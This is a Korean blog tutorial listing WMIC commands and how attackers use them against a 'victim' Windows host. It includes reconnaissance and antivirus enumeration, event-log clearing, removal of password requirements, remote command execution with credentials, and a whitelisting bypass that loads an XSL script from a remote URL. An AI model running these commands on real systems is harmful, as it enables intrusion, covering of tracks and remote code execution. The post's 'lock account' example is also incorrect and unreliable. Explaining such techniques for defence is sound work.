KOROMOON

착한 사마리아인이 되고 싶습니다.

11/07/2018

해킹에 활용되는 WMIC 명령어


( 1 ) WMIC 명령어


WMI(Windows Management Instrumentation Command-line) 에 대한 간단한 명령줄 인터페이스를 제공하므로 WMI 를 사용하여 윈도우를 실행하는 컴퓨터를 관리하는 명령어임.

여기서 WMI(Windows Management Instrumentation) 는 엔터프라이즈 네트워크에서 관리 정보를 액세스하고 공유하는표준을 만들기 위하여 Microsoft에서 구현한 것을 말함.
Shell 및 유틸리티 명령과 상호 작용하여 한 컴퓨터부터 다수의 컴퓨터까지 원격으로 관리할 수 있으며 관리 스크립팅을 통하여 자동화까지 가능함.
WMIC는 기본적으로 Windows XP 이상에서만 로드됨.



( 2 ) WMIC 명령어 도움말

[global switches] <command>

다음 전역 스위치를 사용할 수 있음: 

/NAMESPACE           별칭이 작동하는 네임 스페이스의 경로
/ROLE                별칭 정의가 들어있는 역할의 경로
/NODE                별칭 서버가 작동함.
/IMPLEVEL            클라이언트 가장(impersonation) 레벨
/AUTHLEVEL           클라이언트 인증 레벨
/LOCALE              클라이언트가 사용해야 하는 언어 ID
/PRIVILEGES          모든 권한을 사용 또는 미사용 설정
/TRACE               stderr 에 대한 디버깅 정보를 출력함.
/RECORD              모든 입력 명령 및 출력을 기록함.
/INTERACTIVE         대화식 모드를 설정하거나 재설정함.
/FAILFAST            FailFast 모드를 설정하거나 재설정함.
/USER                세선 중에 사용되는 사용자
/PASSWORD            세선 로그인에 사용할 암호
/OUTPUT              출력 경로 재지정을 위한 모드를 저정함.
/APPEND              출력 경로 재지정을 위한 모드를 저정함.
/AGGREGATE           집계 모드를 설정 또는 재설정함.
/AUTHORITY           연결에 대한 <권한 타입> 을 지정함.
/?[:<BRIEF|FULL>]    사용 정보

특정 글로벌 스위치에 대한 자세한 내용을 보려면 다음을 입력하십시오: switch-name /?



다음 별칭은 현재 역할에서 사용할 수 있음:

ALIAS                    - 로컬 시스템에서 사용 가능한 별칭에 대한 액세스
BASEBOARD                - 베이스 보드(마더 보드 또는 시스템 보드) 관리
BIOS                     - 기본 입/출력 서비스(BIOS) 관리
BOOTCONFIG               - 부팅 구성 관리
CDROM                    - CD-ROM 관리
COMPUTERSYSTEM           - 컴퓨터 시스템 관리
CPU                      - CPU 관리
CSPRODUCT                - SMBIOS 의 컴퓨터 시스템 제품 정보
DATAFILE                 - 데이터파일(DataFile) 관리
DCOMAPP                  - DCOM 응용 프로그램 관리
DESKTOP                  - 사용자의 데스크톱 관리
DESKTOPMONITOR           - 데스크톱 모니터 관리
DEVICEMEMORYADDRESS      - 장치 메모리 주소 관리
DISKDRIVE                - 물리적 디스크 드라이브 관리
DISKQUOTA                - NTFS 볼륨의 디스크 공간 사용
DMACHANNEL               - 직접 메모리 액세스(DMA) 채널 관리
ENVIRONMENT              - 시스템 환경 설정 관리
FSDIR                    - 파일 시스템 디렉토리 항목 관리
GROUP                    - 그룹 계정 관리
IDECONTROLLER            - IDE 컨트롤러 관리
IRQ                      - 인터럽트 요청 라인(IRQ) 관리
JOB                      - 일정 서비스를 사용하여 예약된 작업에 대한 액세스를 제공함.
LOADORDER                - 실행 의존성을 정의하는 시스템 서비스의 관리
LOGICALDISK              - 로컬 저장 장치 관리
LOGON                    - 로그온 세션
MEMCACHE                 - 캐시 메모리 관리
MEMORYCHIP               - 메모리 칩 정보
MEMPHYSICAL              - 컴퓨터 시스템의 물리적 메모리 관리
NETCLIENT                - 네트워크 클라이언트 관리
NETLOGIN                 - (특정 사용자의) 네트워크 로그인 정보 관리
NETPROTOCOL              - 프로토콜(및 해당 네트워크 특성) 관리
NETUSE                   - 활성 네트워크 연결 관리
NIC                      - 네트워크 인터페이스 컨트롤러(NIC) 관리
NICCONFIG                - 네트워크 어댑터 관리
NTDOMAIN                 - NT 도메인 관리
NTEVENT                  - NT 이벤트 로그의 항목
NTEVENTLOG               - NT 이벤트 로그 파일 관리
ONBOARDDEVICE            - 마더 보드(시스템 보드)에 내장된 일반 어댑터 장치의 관리
OS                       - 설치된 운영 체제 관리
PAGEFILE                 - 가상 메모리 파일 스와핑 관리
PAGEFILESET              - 페이지 파일 설정 관리
PARTITION                - 물리적 디스크의 파티션된 영역 관리
PORT                     - 입출력 포트 관리
PORTCONNECTOR            - 물리적 연결 포트 관리
PRINTER                  - 프린터 장치 관리
PRINTERCONFIG            - 프린터 장치 구성 관리
PRINTJOB                 - 작업 관리를 인쇄함.
PROCESS                  - 프로세스 관리
PRODUCT                  - 설치 패키지 작업 관리
QFE                      - 빠른 수정 엔지니어링
QUOTASETTING             - 볼륨의 디스크 할당량에 대한 설정 정보
RDACCOUNT                - 원격 데스크톱 연결 권한 관리
RDNIC                    - 특정 네트워크 어댑터의 원격 데스크톱 연결 관리
RDPERMISSIONS            - 특정 원격 데스크톱 연결에 대한 사용 권한
RDTOGGLE                 - 원격 데스크톱 수신기를 원격으로 켜고 끔.
RECOVEROS                - 운영 체제가 실패할 때 메모리에서 수집되는 정보
REGISTRY                 - 컴퓨터 시스템 레지스트리 관리
SCSICONTROLLER           - SCSI 컨트롤러 관리
SERVER                   - 서버 정보 관리
SERVICE                  - 서비스 응용 프로그램 관리
SHADOWCOPY               - 섀도 복사본(Shadow Copy) 관리
SHADOWSTORAGE            - 섀도 복사본(Shadow Copy) 저장 영역 관리
SHARE                    - 공유 자원 관리
SOFTWAREELEMENT          - 시스템에 설치된 소프트웨어 제품 요소의 관리
SOFTWAREFEATURE          - SoftwareElement 의 소프트웨어 제품 하위 집합 관리
SOUNDDEV                 - 사운드 장치 관리
STARTUP                  - 사용자가 컴퓨터 시스템에 로그온할 때 자동으로 실행되는 명령어의 관리
SYSACCOUNT               - 시스템 계정 관리
SYSDRIVER                - 기본 서비스를 위한 시스템 드라이버 관리
SYSTEMENCLOSURE          - 물리적 시스템 인클로저 관리
SYSTEMSLOT               - 포트, 슬롯, 주변 장치 및 독점적인 연결 지점을 포함한 물리적 연결 지점 관리
TAPEDRIVE                - 테이프 드라이브 관리
TEMPERATURE              - 온도 센서(전자 온도계)의 데이터 관리
TIMEZONE                 - 시간대 데이터 관리
UPS                      - 무정전 전원 공급 장치(UPS) 관리
USERACCOUNT              - 사용자 계정 관리
VOLTAGE                  - 전압 센서(전자 전압계) 데이터 관리
VOLUME                   - 로컬 스토리지 볼륨 관리
VOLUMEQUOTASETTING       - 디스크 할당량 설정을 특정 디스크 볼륨과 연관시킴.
VOLUMEUSERQUOTA          - 사용자 별로 저장 용량 할당량 관리
WMISET                   - WMI 서비스 운영 매개 변수 관리

특정 별칭에 대한 자세한 내용을 보려면 다음을 입력하십시오: alias /?

CLASS     - 전체 WMI 스키마로 이스케이프함(Escapes).
PATH      - 전체 WMI 개체 경로로 이스케이프함(Escapes).
CONTEXT   - 모든 글로벌 스위치의 상태를 표시함.
QUIT/EXIT - 프로그램 종료

CLASS/PATH/CONTEXT 에 대한 자세한 내용은 다음을 입력하십시오: (CLASS | PATH | CONTEXT) /?




( 3 ) WMIC 명령어 사용예


IT업무에도 유용하게 활용할 수 있지만 해킹에도 활용할 수 있음.

공격자가 원격 PC에서 WMIC 명령어를 사용하여 막대한 양의 정보를 열거하거나 명령어 실행 등을 할 수 있음.

01. 시스템 역할, 사용자 이름 및 제조업체 가져오기

Roles - 피해자 시스템이 워크스테이션, 서버, 브라우저 등과 같은 모든 역할을 검색함.
Manufacturer - 시스템 제조사의 특정 모델에 특정 취약점이 존재하는 경우가 있음. 해당 정보를 찾기 위해서 검색함.
UserName - 관리자와 일반 사용자를 구분할 수 있으므로 시스템의 사용자 이름 정보가 필요함.
/format:list - 출력을 목록 형식으로 출력함.
wmic computersystem get Name, Domain, Manufacturer, Model, Username, Roles /format:list

02. SID 가져오기

계정 이름, 도메인, 로컬 그룹 회원 상태, SID 및 상태를 출력함.
wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status

03. 프로세스 만들기

프로세스 별칭을 사용하여 피해자 시스템에서 프로세스를 만들 수 있음.
이는 백도어를 실행하거나 피해자 시스템의 메모리를 가득 채울 수 있음.
그리고 프로세스를 생성할 뿐만 아니라 Process ID 를 제공하며 필요에 따라 프로세스를 조작할 수 있음.
또한, 악의적인 해킹에도 쓰이는 데 프로세스 생성을 이용하여 백신 삭제에도 이용됨.
아래 명령어는 계산기를 실행시키는 예임.
wmic process call create "calc.exe"


위 스샷(출처 - http://asec.ahnlab.com/1165)은 GandCrab v5.0.1 악성코드 실행 시 wmic 명령어를 이용하여 V3 백신을 삭제함.


04. 프로세스 우선 순위 변경

프로세스 별칭을 사용하여 피해자 시스템에서 실행 중인 프로세스의 우선 순위를 변경할 수 있음.
프로세스의 우선 순위를 낮추면 해당 프로그램이 손상될수 있으며 증가하면 전체 시스템이 손상될 수 있음.
wmic process where name="explorer.exe" call set priority 64

05. 프로세스 종료

프로세스 별칭을 사용하여 피해자 시스템에서 실행 중인 프로세스를 종료함.
아래 명령어는 계산기를 종료시키는 예임.
wmic process where name="calc.exe" call terminate

06. 실행 파일 목록 가져오기

아래 명령어는 윈도우의 실행 파일이 아닌 실행 파일의 위치를 포함하는 목록을 얻음.
wmic process where "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath

07. 폴더 속성 가져오기

대상 시스템의 폴더에 대한 기본 정보를 추출하기 위해 fsdir 별칭을 사용할 수 있음.
폴더에 대한 CompressionMethod, 생성 날짜, 파일 크기, 읽기 가능 여부, 쓰기 가능 여부, 시스템 파일 여부, 암호화 여부, 암호화 유형 등을 출력할 수 있음.
wmic fsdir "c:\\KOROMOON" get /format:list

08. 파일 속성 가져오기

대상 시스템의 파일에 대한 기본 정보를 추출하기 위해 datafile 별칭을 사용할 수 있음.
파일에 대한 CompressionMethod, 생성 날짜, 파일 크기, 읽기 가능 여부, 쓰기 가능 여부, 시스템 파일 여부, 암호화 여부, 암호화 유형 등을 출력할 수 있음.
wmic datafile where name='c:\\KOROMOON\\hacker.txt' get /format:list

09. 시스템 파일 찾기

Temp 폴더, Win 폴더 등 모든 중요한 시스템 파일의 경로를 출력함.
wmic environment get Description, VariableValue

10. 설치된 응용 프로그램 목록 얻기

피해자 시스템에 설치된 응용 프로그램 또는 소프트웨어 목록을 출력함.
wmic product get name

11. 실행 중인 서비스 목록보기

실행중인 서비스 목록과 자동으로 시작되는 서비스 목록을 가져옴.
시작 모드에서 "자동" 또는 "수동"으로 표시되며 상태 표시는 "실행 중"으로 표시됨.
wmic service where (state="running") get caption, name, startmode

12. 시작 서비스 얻기

시작 중에 실행되는 모든 서비스에 대한 startup 별칭을 사용하여 시작 서비스를 출력함.
wmic startup get Caption, Command

13. 시스템 드라이버 정보 얻기

sysdrive 별칭을 사용하여 이름, 경로, 서비스 유형과 같은 드라이버 세부 정보를 출력함.
해당 명령어를 통해 드라이버 파일의 경로, 상태(실행 중 또는 중지됨),  유형(커널 또는 파일시스템) 등을 출력함.
wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list

14. OS 세부 정보 얻기

시스템이 설정된 시간대를 이용하여 피해자의 위치를 열거할 수 있음. 이는 os 별칭을 사용하여 출력함.
또한, os 별칭을 사용하여 마지막 부팅 업데이트 시간과 등록된 사용자 수, 프로세스 수, 물리 또는 가상 메모리에 대한 정보를 얻음.
wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpdate, NumberofProcesses, NumberofUsers, Organization, RegisteredUsers, Status /format:list

15. 메인보드 세부 정보 얻기

피해자 시스템의 메인보드 세부 정보를 출력하기 위해 baseboard 별칭을 사용함.
출력되는 정보는 메인보드 제조업체, 일련 번호 및 버전임.
wmic baseboard get Manufacturer, Product, SerialNumber, Version

16. BIOS 일력 번호 가져오기

피해자 시스템의 BIOS 세부 정보를 출력하기 위해 bios 별칭을 사용함.
아래 명령어는 피해자 시스템의 BIOS 일련 번호를 확인함.
wmic bios get serialNumber

17. 하드디스크 정보 얻기

diskdrive 별칭을 사용하여 시스템 하드디스크에 대한 정보를 출력함.
해당 명령어를 통해 인터페이스 유형, 제조업체 및 모델명을 확인함.
wmic diskdrive get Name, Manufacturer, Model, InterfaceType, MediaLoaded, MediaType /format:list

18. 하드디스크 파티션 정보 얻기

logicaldisk 별칭을 사용하여 하드디스크 파티션에 대한 정보를 출력함.
해당 명령어을 통해 이름, 압축 상태, 파일 시스템(NTFS, FAT) 등을 출력함.
wmic logicaldisk where drivetype=3 get Name, Compressed, Description, FileSystem, FreeSpace, SupportsDiskQuotas, VolumeDirty, VolumeName

19. 메모리 캐시 정보 얻기

memcache 별칭을 사용하여 메모리 캐시에 대한 정보를 출력함.
해당 명령어를 통해 이름, 블록 크기, 목적 등을 알 수 있음.
wmic memcache get Name, BlockSize, Purpose, MaxCacheSize, Status

20. 메모리 칩 정보 얻기

memorychip 별칭을 사용하여 RAM 에 대한 정보를 출력함.
해당 명령어를 통해 RAM 을 제거하거나 물리적으로 시스템 근처에 있는 RAM 의 일련 번호를 출력함.
wmic memorychip get PartNumber, SerialNumber

21. 피해자 시스템이 호스트 OS 인지 가상 이미지인지 확인하기

아래 명령어는 피해자 시스템에 대한 정보를 확인할 수 있으며 Description 에서 호스트 OS 인지 가상 이미지인지 확인할 수 있음.
wmic onboarddevice get Description, DeviceType, Enabled, Status /format:list

22. 사용자 계정 잠그기

useraccount 별칭을 사용하여 특정 계정을 사용하지 못하도록 제한할 수 있음.
wmic useraccount where name='계정명' set disabled=false

23. 로깅을 위한 암호 요구 사항 제거

useraccount 별칭을 사용하여 로그인할 때 특정 계정의 암호 요구 사항을 제거할 수 있음.
wmic useraccount where name='계정명' set PasswordRequired=false

24. 사용자 계정명 바꾸기

useraccount 별칭을 사용하여 계정명을 바꿀 수 있음.
wmic useraccount where name='계정명' rename 바꿀계정명

25. 사용자 암호를 변경하지 못하도록 제한

useraccount 별칭을 사용하여 사용자 암호를 변경하지 못하도록 제한할 수 있음.
wmic useraccount where name='계정명' set passwordchangeable=false

26. 바이러스 백신 정보 얻기

희생자 시스템에 설치된 바이러스 백신과 그 위치 및 버전을 출력함.
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, productState, pathToSignedProductExe

27. 시스템 로그 지우기

nteventlog 별칭을 사용하여 시스템 로그를 삭제하는 데 사용할 수 있음.
log 이름을 언급한 다음 nteventlog 옵션을 사용하여 로그 파일을 지우는 아주 간단한 명령어임.
시스템 해킹 후 주로 사용함.
wmic nteventlog where filename='system' cleareventlog

28. 공격자는 원격호스트에 임의의 명령을 실행함.

wmic /node:[IP address] /user:"[user name]" /password:"[password]" process call create "cmd /c c:\Windows\System32\net.exe user"

29. 로컬 또는 원격에서 XSL 스크립트 호출

Windows Script Host 가 비활성화되거나 차단된 환경에서 유용함.
로컬 위치 : 
wmic process list /FORMAT:koromoon.xsl
원격 위치 : 
wmic os get /FORMAT:"https://example.com/koromoon.xsl"



참고 사이트 : 

https://docs.microsoft.com/en-us/windows/desktop/wmisdk/wmic
http://www.hackingarticles.in/post-exploitation-using-wmic-system-command/
http://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html
http://asec.ahnlab.com/1165



============================================================

본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.

댓글 1개: